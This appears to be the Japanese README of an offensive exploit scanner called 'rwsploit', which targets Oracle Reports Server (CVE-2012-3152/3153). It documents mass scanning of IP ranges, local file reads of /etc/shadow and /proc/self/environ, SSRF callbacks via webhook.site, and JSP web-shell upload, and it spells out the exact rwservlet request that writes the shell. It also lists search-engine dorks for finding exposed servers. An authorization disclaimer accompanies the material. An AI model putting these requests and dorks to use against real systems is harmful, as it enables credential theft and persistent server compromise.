abq0/rwsploit自動エクスプロイトスキャナー — Oracle Reports Server (rwservlet) 向け、CVE-2012-3152 / CVE-2012-3153 対応。検出、フィンガープリント取得、LFIによるファイル読み取り、Webhook経由でのSSRFテスト、JSPシェルのアップロードを実行。対象: Oracle Reports < 11g。許可された使用に限ります。
⚠️ 許可された用途のみ。所有しているシステム、または明示的な書面によるテスト許可を得ているシステムに対してのみこのツールを実行してください。不正使用は違法です。
Oracle Reports Server（rwservlet）に焦点を当てたエクスプロイトスキャナーで、CVE-2012-3152 および CVE-2012-3153 を狙います。影響を受けるのは 11g 未満のバージョンです。単一 IP、CIDR 範囲、またはターゲットリストに対して、検出、LFI ファイル読み取り、SSRF テスト、JSP シェルアップロードを自動化します。スマートな TCP/HTTP 事前フィルタリングにより、応答のないホストは即座にスキップされ、時間の無駄がありません。
git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests
Python 3.8+ が必要です。その他の依存関係はありません。
python3 rwsploit.py -t <IP|CIDR> [オプション]
python3 rwsploit.py -f <ファイル> [オプション]
引数なしで実行すると、完全なヘルプメニューとリコンダークが表示されます。
| フラグ | 説明 | デフォルト |
|---|---|---|
-t | ターゲット IP、ホスト名、または CIDR。複数値を受け付けます。 | — |
-f | IP または CIDR が1行に1つずつ記載されたファイル。# はコメント。 | — |
-p | 単一のカスタムポート — デフォルトのポートリストを上書きします。 | 80 443 8080 7777 7778 7779 8443 9090 |
-T | 同時スレッド数。 | 15 |
-o | LFI のダンプをディスクに保存する際のプレフィックス。例：-o loot → loot_<ip>_<port>_<ファイル>.txt | 標準出力のみ |
--timeout | リクエストのタイムアウト（秒）。 | 10 |
--lfi | LFI ファイル読み取りペイロードを実行します。最初に OS を検出し、関連するペイロードのみを実行します。 | オフ |
--no-ssrf | SSRF Webhook テストをスキップします。 | オフ |
--shell | JSP シェルをアップロードします。シェルコンテンツを提供する URL の入力を求めます。 | オフ |
-h | ヘルプとリコンダークを表示します。 | — |
# 検出のみ
python3 rwsploit.py -t 10.10.10.55 -p 7777
# 検出 + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi
# 完全チェーン — LFI + SSRF + シェル
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell
# サブネットスキャン、ダンプを保存
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot
# ファイルから、SSRF なし
python3 rwsploit.py -f targets.txt --lfi --no-ssrf
targets.txt の形式
# コメント — スキップされます
10.10.10.55
10.10.11.0/24
最初に showenv で OS を検出し、一致するペイロードセットのみを実行して、読み取り可能なファイルを読み取ります。
Linux — /etc/passwd, /etc/shadow, /etc/hosts, /etc/issue, /etc/os-release, /etc/group, /etc/crontab, /etc/timezone, /proc/version, /proc/cmdline, /proc/self/environ
Windows — win.ini, system32\drivers\etc\hosts, boot.ini, system.ini, AUTOEXEC.BAT
🚨 LFI の出力がないからといって、ターゲットが安全であるとは限りません。Oracle の設定やファイルのパーミッションはさまざまです。SSRF とシェルアップロードは必ず個別にテストしてください。
rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> を発行し、webhook.site API にコールバックをポーリングします。ヒットすると、送信元 IP、メソッド、User-Agent を表示します。起動時に新しい Webhook トークンが自動的に作成されます。
--shell)showenv から PATH_TRANSLATED を読み取り、実際の Web ルートパスを取得しますkxqbrmfa.jsp）rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<your URL> で書き込みますinurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet
Shodan
http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"
FOFA
body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"
Censys
services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"
| CVE | 説明 |
|---|---|
| CVE-2012-3152 | rwservlet の report パラメータを介した認証なしのファイル読み取り |
| CVE-2012-3153 | JOBTYPE=rwurl + URLPARAMETER を介した SSRF およびファイル書き込み |
影響を受けるバージョン：Oracle Reports Server 6i、9i、10g — 11g で修正済み。
許可された侵入テスト、CTF チャレンジ、およびセキュリティ研究のみを目的としています。作成者は誤用について一切の責任を負いません。